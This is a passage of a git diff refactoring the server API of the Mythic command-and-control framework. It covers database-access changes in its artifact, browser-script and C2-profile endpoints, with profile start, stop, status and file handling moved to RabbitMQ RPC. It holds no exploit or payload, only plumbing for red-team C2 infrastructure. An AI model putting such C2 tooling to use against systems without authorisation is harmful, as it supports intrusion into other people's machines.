from sanic_jwt.decorators import scoped, inject_user
@@ -19,8 +20,7 @@ async def get_all_artifacts(request, user):
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
- query = await db_model.artifact_query()
- artifacts = await db_objects.execute(query)
+ artifacts = await app.db_objects.execute(db_model.artifact_query)
return json({"status": "success", "artifacts": [a.to_json() for a in artifacts]})
@@ -47,7 +47,7 @@ async def create_artifact(request, user):
{"status": "error", "error": '"description" is a required parameter'}
)
try:
- artifact = await db_objects.create(
+ artifact = await app.db_objects.create(
Artifact, name=data["name"], description=data["description"]
)
return json({"status": "success", **artifact.to_json()})
@@ -57,12 +57,12 @@ async def create_artifact(request, user):
)
-@mythic.route(mythic.config["API_BASE"] + "/artifacts/", methods=["PUT"])
+@mythic.route(mythic.config["API_BASE"] + "/artifacts/", methods=["PUT"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def update_artifact(request, user, id):
+async def update_artifact(request, user, aid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -74,8 +74,7 @@ async def update_artifact(request, user, id):
)
data = request.json
try:
- query = await db_model.artifact_query()
- artifact = await db_objects.get(query, id=id)
+ artifact = await app.db_objects.get(db_model.artifact_query, id=aid)
except Exception as e:
return json({"status": "error", "error": "Could not find artifact"})
if "name" in data:
@@ -83,7 +82,7 @@ async def update_artifact(request, user, id):
if "description" in data:
artifact.description = data["description"]
try:
- await db_objects.update(artifact)
+ await app.db_objects.update(artifact)
except Exception as e:
return json(
{"status": "error", "error": "Failed to update artifact: {}".format(str(e))}
@@ -91,12 +90,12 @@ async def update_artifact(request, user, id):
return json({"status": "success", **artifact.to_json()})
-@mythic.route(mythic.config["API_BASE"] + "/artifacts/", methods=["DELETE"])
+@mythic.route(mythic.config["API_BASE"] + "/artifacts/", methods=["DELETE"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def delete_artifact(request, user, id):
+async def delete_artifact(request, user, aid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -107,19 +106,17 @@ async def delete_artifact(request, user, id):
{"status": "error", "error": "Spectators cannot remove base artifacts"}
)
try:
- query = await db_model.artifact_query()
- artifact = await db_objects.get(query, id=id)
+ artifact = await app.db_objects.get(db_model.artifact_query, id=aid)
except Exception as e:
return json({"status": "error", "error": "Could not find artifact"})
try:
artifact_json = artifact.to_json()
- query = await db_model.taskartifact_query()
- task_artifacts = await db_objects.execute(
- query.where(TaskArtifact.artifact == artifact)
+ task_artifacts = await app.db_objects.execute(
+ db_model.taskartifact_query.where(TaskArtifact.artifact == artifact)
)
for t in task_artifacts:
- await db_objects.delete(t)
- await db_objects.delete(artifact)
+ await app.db_objects.delete(t)
+ await app.db_objects.delete(artifact)
except Exception as e:
return json(
{"status": "error", "error": "Failed to delete artifact: {}".format(str(e))}
@@ -140,15 +137,12 @@ async def get_all_artifact_tasks(request, user):
)
# get all of the artifact tasks for the current operation
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "failed to get current operation"})
- query = await db_model.callback_query()
- callbacks = query.where(Callback.operation == operation).select(Callback.id)
- task_query = await db_model.taskartifact_query()
- tasks = await db_objects.execute(
- task_query.where(
+ callbacks = db_model.callback_query.where(Callback.operation == operation).select(Callback.id)
+ tasks = await app.db_objects.execute(
+ db_model.taskartifact_query.where(
(Task.callback.in_(callbacks)) | (TaskArtifact.operation == operation)
)
)
@@ -172,15 +166,12 @@ async def get_pageinate_artifact_tasks(request, user, page, size):
if page <= 0 or size <= 0:
return json({"status": "error", "error": "page or size must be greater than 0"})
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "failed to get current operation"})
- query = await db_model.callback_query()
- callbacks = query.where(Callback.operation == operation).select(Callback.id)
- task_query = await db_model.taskartifact_query()
- count = await db_objects.count(
- task_query.where(
+ callbacks = db_model.callback_query.where(Callback.operation == operation).select(Callback.id)
+ count = await app.db_objects.count(
+ db_model.taskartifact_query.where(
(Task.callback.in_(callbacks)) | (TaskArtifact.operation == operation)
)
)
@@ -188,8 +179,8 @@ async def get_pageinate_artifact_tasks(request, user, page, size):
page = ceil(count / size)
if page == 0:
page = 1
- tasks = await db_objects.execute(
- task_query.where(
+ tasks = await app.db_objects.execute(
+ db_model.taskartifact_query.where(
(Task.callback.in_(callbacks)) | (TaskArtifact.operation == operation)
)
.order_by(-TaskArtifact.timestamp)
@@ -221,16 +212,13 @@ async def search_artifact_tasks(request, user):
data = request.json
if "search" not in data:
return json({"status": "error", "error": "must supply a search term"})
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "Cannot find operation"})
- query = await db_model.callback_query()
- callbacks = query.where(Callback.operation == operation).select(Callback.id)
- task_query = await db_model.taskartifact_query()
+ callbacks = db_model.callback_query.where(Callback.operation == operation).select(Callback.id)
try:
- count = await db_objects.count(
- task_query.where(
+ count = await app.db_objects.count(
+ db_model.taskartifact_query.where(
((Task.callback.in_(callbacks)) | (TaskArtifact.operation == operation))
& fn.encode(TaskArtifact.artifact_instance, "escape").regexp(
data["search"]
@@ -238,8 +226,8 @@ async def search_artifact_tasks(request, user):
)
)
if "page" not in data:
- tasks = await db_objects.execute(
- task_query.where(
+ tasks = await app.db_objects.execute(
+ db_model.taskartifact_query.where(
(
(Task.callback.in_(callbacks))
| (TaskArtifact.operation == operation)
@@ -270,8 +258,8 @@ async def search_artifact_tasks(request, user):
data["page"] = ceil(count / data["size"])
if data["page"] == 0:
data["page"] = 1
- tasks = await db_objects.execute(
- task_query.where(
+ tasks = await app.db_objects.execute(
+ db_model.taskartifact_query.where(
(
(Task.callback.in_(callbacks))
| (TaskArtifact.operation == operation)
@@ -314,13 +302,12 @@ async def remove_artifact_tasks(request, user, aid):
{"status": "error", "error": "Spectators cannot remove task artifacts"}
)
try:
- query = await db_model.taskartifact_query()
- artifact_task = await db_objects.get(query, id=aid)
+ artifact_task = await app.db_objects.get(db_model.taskartifact_query, id=aid)
except Exception as e:
return json({"status": "error", "error": "failed to find that artifact task"})
try:
artifact_task_json = artifact_task.to_json()
- await db_objects.delete(artifact_task)
+ await app.db_objects.delete(artifact_task)
return json({"status": "success", **artifact_task_json})
except Exception as e:
return json(
@@ -345,15 +332,13 @@ async def create_artifact_task_manually(request, user):
)
# get all of the artifact tasks for the current operation
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
data = request.json
except Exception as e:
return json({"status": "error", "error": "failed to get current operation"})
if "task_id" in data:
try:
- query = await db_model.task_query()
- task = await db_objects.get(query, id=data["task_id"])
+ task = await app.db_objects.get(db_model.task_query, id=data["task_id"])
# make sure this task belongs to a callback in the current operation
if operation.name != task.callback.operation.name:
return json(
@@ -380,18 +365,17 @@ async def create_artifact_task_manually(request, user):
if "host" not in data:
data["host"] = ""
try:
- query = await db_model.artifact_query()
- artifact = await db_objects.get(query, name=data["artifact"].encode())
+ artifact = await app.db_objects.get(db_model.artifact_query, name=data["artifact"].encode())
except Exception as e:
return json({"status": "error", "error": "failed to find the artifact"})
try:
- task_artifact = await db_objects.create(
+ task_artifact = await app.db_objects.create(
TaskArtifact,
task=task,
- artifact_instance=data["artifact_instance"].encode("unicode-escape"),
+ artifact_instance=data["artifact_instance"].encode(),
artifact=artifact,
operation=operation,
- host=data["host"].encode("unicode-escape"),
+ host=data["host"].upper(),
)
return json({"status": "success", **task_artifact.to_json()})
except Exception as e:
diff --git a/mythic-docker/app/api/browserscript_api.py b/mythic-docker/app/api/browserscript_api.py
index 98f15e6c4..dfd99eaaf 100755
--- a/mythic-docker/app/api/browserscript_api.py
+++ b/mythic-docker/app/api/browserscript_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic_jwt.decorators import inject_user, scoped
import app.database_models.model as db_model
from sanic.response import json
@@ -22,26 +23,22 @@ async def get_browserscripts(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.browserscript_query()
- operator_scripts = await db_objects.execute(
- query.where(
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ operator_scripts = await app.db_objects.execute(
+ db_model.browserscript_query.where(
(db_model.BrowserScript.operator == operator)
& (db_model.BrowserScript.command != None)
)
)
- support_scripts = await db_objects.execute(
- query.where(
+ support_scripts = await app.db_objects.execute(
+ db_model.browserscript_query.where(
(db_model.BrowserScript.operator == operator)
& (db_model.BrowserScript.command == None)
)
)
- query = await db_model.browserscriptoperation_query()
- operation_scripts = await db_objects.execute(
- query.where(db_model.BrowserScriptOperation.operation == operation)
+ operation_scripts = await app.db_objects.execute(
+ db_model.browserscriptoperation_query.where(db_model.BrowserScriptOperation.operation == operation)
)
return json(
{
@@ -80,8 +77,7 @@ async def create_browserscript(request, user):
return json({"status": "error", "error": 'must supply "script" '})
if "command" in data:
try:
- query = await db_model.command_query()
- command = await db_objects.get(query, id=data["command"])
+ command = await app.db_objects.get(db_model.command_query, id=data["command"])
pieces["command"] = command
pieces["payload_type"] = command.payload_type
except Exception as e:
@@ -90,8 +86,7 @@ async def create_browserscript(request, user):
)
else:
try:
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(query, ptype=data["payload_type"])
+ payload_type = await app.db_objects.get(db_model.payloadtype_query, ptype=data["payload_type"])
pieces["payload_type"] = payload_type
pieces["command"] = None
if "name" in data:
@@ -104,15 +99,14 @@ async def create_browserscript(request, user):
return json(
{"status": "error", "error": "failed to find that payload type"}
)
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
pieces["operator"] = operator
pieces["author"] = data["author"] if "author" in data else ""
pieces["script"] = data["script"]
pieces["container_version"] = ""
pieces["container_version_author"] = ""
try:
- browserscript = await db_objects.get(
+ browserscript = await app.db_objects.get(
db_model.BrowserScript,
command=pieces["command"],
name=pieces["name"],
@@ -127,7 +121,7 @@ async def create_browserscript(request, user):
)
except Exception as e:
# if we get here then the script doesn't exist, so we can create it
- browserscript = await db_objects.create(db_model.BrowserScript, **pieces)
+ browserscript = await app.db_objects.create(db_model.BrowserScript, **pieces)
return json({"status": "success", **browserscript.to_json()})
@@ -151,12 +145,10 @@ async def modify_browserscript(request, user, bid):
except Exception as e:
return json({"status": "error", "error": "failed to parse json"})
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.browserscript_query()
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
try:
- browserscript = await db_objects.get(
- query, id=bid
+ browserscript = await app.db_objects.get(
+ db_model.browserscript_query, id=bid
) # you can only modify your own scripts
except Exception as e:
return json({"status": "error", "error": "failed to find script"})
@@ -168,19 +160,17 @@ async def modify_browserscript(request, user, bid):
browserscript.author = browserscript.container_version_author
browserscript.script = browserscript.container_version
browserscript.user_modified = False
- await db_objects.update(browserscript)
+ await app.db_objects.update(browserscript)
return json({"status": "success", **browserscript.to_json()})
if "payload_type" in data:
- pt_query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(pt_query, ptype=data["payload_type"])
+ payload_type = await app.db_objects.get(db_model.payloadtype_query, ptype=data["payload_type"])
browserscript.payload_type = payload_type
if "command" in data:
if data["command"] == "" and "name" in data and data["name"] != "":
browserscript.command = None
browserscript.name = data["name"]
elif data["command"] != "":
- query = await db_model.command_query()
- command = await db_objects.get(query, id=data["command"])
+ command = await app.db_objects.get(db_model.command_query, id=data["command"])
browserscript.command = command
else:
return json(
@@ -207,13 +197,12 @@ async def modify_browserscript(request, user, bid):
browserscript.active = True if data["active"] is True else False
if not browserscript.active:
# make sure the script is not part of any operation
- query = await db_model.browserscriptoperation_query()
- script = await db_objects.execute(query)
+ script = await app.db_objects.execute(db_model.browserscriptoperation_query)
for s in script:
if s.browserscript == browserscript:
- await db_objects.delete(s)
+ await app.db_objects.delete(s)
- await db_objects.update(browserscript)
+ await app.db_objects.update(browserscript)
if "operation" in data:
if (
data["operation"] != user["current_operation"]
@@ -227,9 +216,7 @@ async def modify_browserscript(request, user, bid):
)
if data["operation"] in user["admin_operations"] or user["admin"]:
# we are an admin overall or admin of this operation and we're trying to apply to the current operation
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.browserscriptoperation_query()
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
if data["operation"] != "":
if not browserscript.active:
return json(
@@ -240,8 +227,8 @@ async def modify_browserscript(request, user, bid):
)
# make sure it's ok to apply first
can_add = True
- script = await db_objects.execute(
- query.where(
+ script = await app.db_objects.execute(
+ db_model.browserscriptoperation_query.where(
db_model.BrowserScriptOperation.operation == operation
)
)
@@ -262,20 +249,20 @@ async def modify_browserscript(request, user, bid):
):
can_add = False # there's already a script for that command
if can_add:
- mapping = await db_objects.create(
+ mapping = await app.db_objects.create(
db_model.BrowserScriptOperation,
operation=operation,
browserscript=browserscript,
)
else:
- script = await db_objects.execute(
- query.where(
+ script = await app.db_objects.execute(
+ db_model.browserscriptoperation_query.where(
db_model.BrowserScriptOperation.operation == operation
)
)
for s in script:
if s.browserscript == browserscript:
- await db_objects.delete(s)
+ await app.db_objects.delete(s)
else:
return json(
{
@@ -292,15 +279,14 @@ async def modify_browserscript(request, user, bid):
async def remove_admin_browserscripts(operator, operation):
- query = await db_model.browserscriptoperation_query()
- scripts = await db_objects.execute(
- query.where(
+ scripts = await app.db_objects.execute(
+ db_model.browserscriptoperation_query.where(
(db_model.BrowserScriptOperation.operation == operation)
& (db_model.BrowserScript.operator == operator)
)
)
for s in scripts:
- await db_objects.delete(s)
+ await app.db_objects.delete(s)
@mythic.route(
@@ -321,13 +307,10 @@ async def remove_browserscript(request, user, bid):
return json(
{"status": "error", "error": "Spectators cannot remove browser scripts"}
)
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.browserscript_query()
- browserscript = await db_objects.get(query, id=bid, operator=operator)
- query = await db_model.browserscriptoperation_query()
- browserscriptoperations = await db_objects.execute(
- query.where(db_model.BrowserScriptOperation.browserscript == browserscript)
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ browserscript = await app.db_objects.get(db_model.browserscript_query, id=bid, operator=operator)
+ browserscriptoperations = await app.db_objects.execute(
+ db_model.browserscriptoperation_query.where(db_model.BrowserScriptOperation.browserscript == browserscript)
)
except Exception as e:
print(str(e))
@@ -337,8 +320,8 @@ async def remove_browserscript(request, user, bid):
try:
browserscript_json = browserscript.to_json()
for s in browserscriptoperations:
- await db_objects.delete(s)
- await db_objects.delete(browserscript)
+ await app.db_objects.delete(s)
+ await app.db_objects.delete(browserscript)
return json({"status": "success", **browserscript_json})
except Exception as e:
print(str(e))
@@ -387,12 +370,11 @@ async def import_browserscript(request, user):
async def set_default_scripts(new_user):
try:
- script_query = await db_model.browserscript_query()
- scripts = await db_objects.execute(
- script_query.where(db_model.BrowserScript.operator == None)
+ scripts = await app.db_objects.execute(
+ db_model.browserscript_query.where(db_model.BrowserScript.operator == None)
)
for script in scripts:
- await db_objects.create(
+ await app.db_objects.create(
db_model.BrowserScript,
operator=new_user,
payload_type=script.payload_type,
@@ -418,28 +400,24 @@ async def import_browserscript_func(code, user):
continue
if "command" in data and "payload_type" in data:
try:
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(query, ptype=data["payload_type"])
- query = await db_model.command_query()
- command = await db_objects.get(
- query, cmd=data["command"], payload_type=payload_type
+ payload_type = await app.db_objects.get(db_model.payloadtype_query, ptype=data["payload_type"])
+ command = await app.db_objects.get(
+ db_model.command_query, cmd=data["command"], payload_type=payload_type
)
pieces["command"] = command
except Exception as e:
data["error"] = "Command or payload type does not exist"
failed_imports.append(data)
continue
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
pieces["operator"] = operator
if "name" in data:
try:
- query = await db_model.browserscript_query()
- script = await db_objects.get(
- query, name=data["name"], operator=operator
+ script = await app.db_objects.get(
+ db_model.browserscript_query, name=data["name"], operator=operator
)
script.script = data["script"]
- await db_objects.update(script)
+ await app.db_objects.update(script)
continue
except Exception as e:
# we don't have it in the database yet, so we can make it
@@ -448,17 +426,17 @@ async def import_browserscript_func(code, user):
pieces["name"] = None
pieces["script"] = data["script"]
try:
- browserscript = await db_objects.get(
+ browserscript = await app.db_objects.get(
db_model.BrowserScript,
command=pieces["command"],
name=pieces["name"],
operator=operator,
)
browserscript.script = data["script"]
- await db_objects.update(browserscript)
+ await app.db_objects.update(browserscript)
continue
except Exception as e:
- browserscript = await db_objects.create(db_model.BrowserScript, **pieces)
+ browserscript = await app.db_objects.create(db_model.BrowserScript, **pieces)
if len(failed_imports) == 0:
return {"status": "success"}
@@ -483,17 +461,15 @@ async def export_browserscript(request, user):
)
scripts = []
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.browserscript_query()
- operator_scripts = await db_objects.execute(
- query.where(
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ operator_scripts = await app.db_objects.execute(
+ db_model.browserscript_query.where(
(db_model.BrowserScript.operator == operator)
& (db_model.BrowserScript.command != None)
)
)
- support_scripts = await db_objects.execute(
- query.where(
+ support_scripts = await app.db_objects.execute(
+ db_model.browserscript_query.where(
(db_model.BrowserScript.operator == operator)
& (db_model.BrowserScript.command == None)
)
@@ -532,11 +508,9 @@ async def export_operation_browserscript(request, user):
)
scripts = []
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.browserscriptoperation_query()
- operator_scripts = await db_objects.execute(
- query.where(db_model.BrowserScriptOperation.operation == operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ operator_scripts = await app.db_objects.execute(
+ db_model.browserscriptoperation_query.where(db_model.BrowserScriptOperation.operation == operation)
)
for s in operator_scripts:
if s.browserscript.command is None:
diff --git a/mythic-docker/app/api/c2profiles_api.py b/mythic-docker/app/api/c2profiles_api.py
index a0414edf7..0267e5171 100755
--- a/mythic-docker/app/api/c2profiles_api.py
+++ b/mythic-docker/app/api/c2profiles_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from app.database_models.model import (
C2Profile,
@@ -10,12 +11,14 @@
from sanic_jwt.decorators import scoped, inject_user
import ujson as js
import app.database_models.model as db_model
-from app.api.rabbitmq_api import send_c2_rabbitmq_message
from sanic.exceptions import abort
from exrex import getone
import uuid
from app.api.operation_api import send_all_operations_message
-from app.crypto import create_key_AES256
+from app.api.rabbitmq_api import MythicBaseRPC
+
+
+c2_rpc = MythicBaseRPC()
# Get all the currently registered profiles
@@ -31,10 +34,8 @@ async def get_all_c2profiles(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
# this syntax is atrocious for getting a pretty version of the results from a many-to-many join table)
- query = await db_model.c2profile_query()
- all_profiles = await db_objects.execute(query.where(C2Profile.deleted == False))
- query = await db_model.payloadtypec2profile_query()
- profiles = await db_objects.execute(query)
+ all_profiles = await app.db_objects.execute(db_model.c2profile_query.where(C2Profile.deleted == False))
+ profiles = await app.db_objects.execute(db_model.payloadtypec2profile_query)
results = []
inter = {}
for p in all_profiles:
@@ -80,11 +81,9 @@ async def get_c2profiles_by_type(request, info, user):
# this function will be useful by other files, so make it easier to use
async def get_c2profiles_by_type_function(ptype):
try:
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(query, ptype=ptype)
- query = await db_model.payloadtypec2profile_query()
- profiles = await db_objects.execute(
- query.where(PayloadTypeC2Profile.payload_type == payload_type)
+ payload_type = await app.db_objects.get(db_model.payloadtype_query, ptype=ptype)
+ profiles = await app.db_objects.execute(
+ db_model.payloadtypec2profile_query.where(PayloadTypeC2Profile.payload_type == payload_type)
)
except Exception as e:
print(e)
@@ -92,15 +91,14 @@ async def get_c2profiles_by_type_function(ptype):
return [p.to_json() for p in profiles]
-# Start running a profile's server side code
@mythic.route(
- mythic.config["API_BASE"] + "/c2profiles//start", methods=["GET"]
+ mythic.config["API_BASE"] + "/start_stop_profile_webhook", methods=["POST"]
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def start_c2profile(request, info, user):
+async def start_stop_c2profile_webhook(request, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -111,53 +109,55 @@ async def start_c2profile(request, info, user):
return json(
{"status": "error", "error": "Spectators cannot start c2 profiles"}
)
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, id=info)
+ data = request.json["input"]
+ profile = await app.db_objects.get(db_model.c2profile_query, id=data["id"])
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find C2 Profile"})
- status = await send_c2_rabbitmq_message(profile.name, "start", "", user["username"])
+ status, successfully_sent = await start_stop_c2_profile(profile, data["action"])
+ # print(status)
+ if not successfully_sent:
+ await send_all_operations_message(message=f"C2 Profile {profile.name} couldn't be contacted. Is it online? Check with ./status_check.sh",
+ level="info", source="update_c2_profile")
+ profile.running = False
+ await app.db_objects.update(profile)
+ return json({"status": "error", "error": "Failed to contact C2 profile"})
+ status = js.loads(status)
+ if "running" in status:
+ if status["running"]:
+ await send_all_operations_message(message=f"C2 Profile {profile.name} started by {user['username']}",
+ level="info", source="update_c2_profile")
+ else:
+ await send_all_operations_message(
+ message=f"C2 Profile {profile.name} was manually stopped by {user['username']}",
+ level="warning", source="update_c2_profile")
+ profile.running = status.pop("running")
+ await app.db_objects.update(profile)
return json(status)
-# Start running a profile's server side code
-@mythic.route(
- mythic.config["API_BASE"] + "/c2profiles//stop", methods=["GET"]
-)
-@inject_user()
-@scoped(
- ["auth:user", "auth:apitoken_user"], False
-) # user or user-level api token are ok
-async def stop_c2profile(request, info, user):
- if user["auth"] not in ["access_token", "apitoken"]:
- abort(
- status_code=403,
- message="Cannot access via Cookies. Use CLI or access via JS in browser",
- )
- if user["view_mode"] == "spectator" or user["current_operation"] == "":
- return json({"status": "error", "error": "Spectators cannot stop c2 profiles"})
- return await stop_c2profile_func(info, user["username"])
+async def start_stop_c2_profile(profile: C2Profile = None, action: str = "start"):
+ status, successfully_sent = await c2_rpc.call(message={
+ "action": "{}_profile".format(action),
+ }, receiver="{}_mythic_rpc_queue".format(profile.name))
+ return status, successfully_sent
-async def stop_c2profile_func(profile_id, username):
- try:
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, id=profile_id)
- except Exception as e:
- return {"status": "error", "error": "failed to find c2 profile in database"}
- status = await send_c2_rabbitmq_message(profile.name, "stop", "", username)
- return json(status)
+async def kill_c2_profile_container(profileName: str):
+ status, successfully_sent = await c2_rpc.call(message={
+ "action": "exit_container",
+ }, receiver="{}_mythic_rpc_queue".format(profileName))
+ return status, successfully_sent
-# Return the current input and output of the c2 profile for the user
@mythic.route(
- mythic.config["API_BASE"] + "/c2profiles//status", methods=["GET"]
+ mythic.config["API_BASE"] + "/c2profile_status_webhook", methods=["POST"]
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def status_c2profile(request, info, user):
+async def status_c2profile(request, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -168,59 +168,69 @@ async def status_c2profile(request, info, user):
return json(
{"status": "error", "error": "Spectators cannot query c2 profiles"}
)
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, id=info)
+ #print(request.json)
+ data = request.json["input"]
+ profile = await app.db_objects.get(db_model.c2profile_query, id=data["id"])
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find C2 Profile"})
# we want to send a rabbitmq message and wait for a response via websocket
- status = await send_c2_rabbitmq_message(
- profile.name, "status", "", user["username"]
- )
+ status, successfully_sent = await c2_rpc.call(message={
+ "action": "get_status",
+ }, receiver="{}_mythic_rpc_queue".format(profile.name))
+ status = js.loads(status)
+ if "running" in status:
+ profile.running = status.pop("running")
+ await app.db_objects.update(profile)
return json(status)
@mythic.route(
mythic.config["API_BASE"]
- + "/c2profiles//files/container_config_download",
- methods=["GET"],
+ + "/c2profile_download_file_webhook",
+ methods=["POST"],
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def download_container_file_for_c2profiles(request, info, user):
+async def download_container_file_for_c2profiles_webhook(request, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, id=info)
+ data = request.json["input"]
+ profile = await app.db_objects.get(db_model.c2profile_query, id=data["id"])
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find C2 Profile"})
if user["current_operation"] == "":
return json({"status": "error", "error": "Must be part of an operation to see this"})
try:
- status = await send_c2_rabbitmq_message(
- profile.name, "get_config", "", user["username"]
- )
+ status, successfully_sent = await c2_rpc.call(message={
+ "action": "get_file",
+ "filename": data["filename"]
+ }, receiver="{}_mythic_rpc_queue".format(profile.name))
+ status = js.loads(status)
+ if "running" in status:
+ profile.running = status.pop("running")
+ await app.db_objects.update(profile)
return json(status)
except Exception as e:
return json({"status": "error", "error": "failed finding the file: " + str(e)})
@mythic.route(
- mythic.config["API_BASE"] + "/c2profiles//files/container_config_upload",
+ mythic.config["API_BASE"] + "/c2profile_upload_file_webhook",
methods=["POST"],
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def upload_container_file_for_c2profiles(request, info, user):
+async def upload_container_file_for_c2profiles_webhook(request, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -234,22 +244,24 @@ async def upload_container_file_for_c2profiles(request, info, user):
"error": "Spectators cannot modify c2 profile files",
}
)
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, id=info)
+ data = request.json["input"]
+ profile = await app.db_objects.get(db_model.c2profile_query, id=data["id"])
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find C2 Profile"})
try:
- data = request.json
- status = await send_c2_rabbitmq_message(
- profile.name,
- "writefile",
- js.dumps({"file_path": "config.json", "data": data["code"]}),
- user["username"],
- )
+ status, successfully_sent = await c2_rpc.call(message={
+ "action": "write_file",
+ "file_path": data["file_path"],
+ "data": data["data"]
+ }, receiver="{}_mythic_rpc_queue".format(profile.name))
+ status = js.loads(status)
+ if "running" in status:
+ profile.running = status.pop("running")
+ await app.db_objects.update(profile)
return json(status)
except Exception as e:
- return json({"status": "error", "error": "failed finding the file: " + str(e)})
+ return json({"status": "error", "error": "failed writing the file: " + str(e)})
# Delete a profile
@@ -269,11 +281,9 @@ async def delete_c2profile(request, info, user):
return json(
{"status": "error", "error": "Spectators cannot delete c2 profiles"}
)
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, id=info)
- query = await db_model.payloadtypec2profile_query()
- ptypec2profile = await db_objects.execute(
- query.where(PayloadTypeC2Profile.c2_profile == profile)
+ profile = await app.db_objects.get(db_model.c2profile_query, id=info)
+ ptypec2profile = await app.db_objects.execute(
+ db_model.payloadtypec2profile_query.where(PayloadTypeC2Profile.c2_profile == profile)
)
except Exception as e:
print(e)
@@ -281,10 +291,10 @@ async def delete_c2profile(request, info, user):
try:
# we will do this recursively because there can't be payloadtypec2profile mappings if the profile doesn't exist
for p in ptypec2profile:
- await db_objects.delete(p)
+ await app.db_objects.delete(p)
profile.deleted = True
profile.name = str(uuid.uuid1()) + " ( deleted " + str(profile.name) + ")"
- await db_objects.update(profile)
+ await app.db_objects.update(profile)
success = {"status": "success"}
updated_json = profile.to_json()
return json({**success, **updated_json})
@@ -306,23 +316,21 @@ async def get_c2profile_parameters(request, info, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, id=info)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ profile = await app.db_objects.get(db_model.c2profile_query, id=info)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find the c2 profile"})
try:
- query = await db_model.c2profileparameters_query()
- parameters = await db_objects.execute(
- query.where(C2ProfileParameters.c2_profile == profile)
+ parameters = await app.db_objects.execute(
+ db_model.c2profileparameters_query.where(
+ (C2ProfileParameters.c2_profile == profile) &
+ (C2ProfileParameters.deleted == False)
+ )
)
param_list = []
for p in parameters:
p_json = p.to_json()
- if p_json["name"] == "AESPSK":
- p_json["default_value"] = await create_key_AES256()
if p_json["randomize"]:
# generate a random value based on the associated format_string variable
p_json["default_value"] = await generate_random_format_string(
@@ -348,38 +356,6 @@ async def generate_random_format_string(format_string):
return ""
-@mythic.route(
- mythic.config["API_BASE"] + "/c2profiles//files/sync", methods=["GET"]
-)
-@inject_user()
-@scoped(
- ["auth:user", "auth:apitoken_user"], False
-) # user or user-level api token are ok
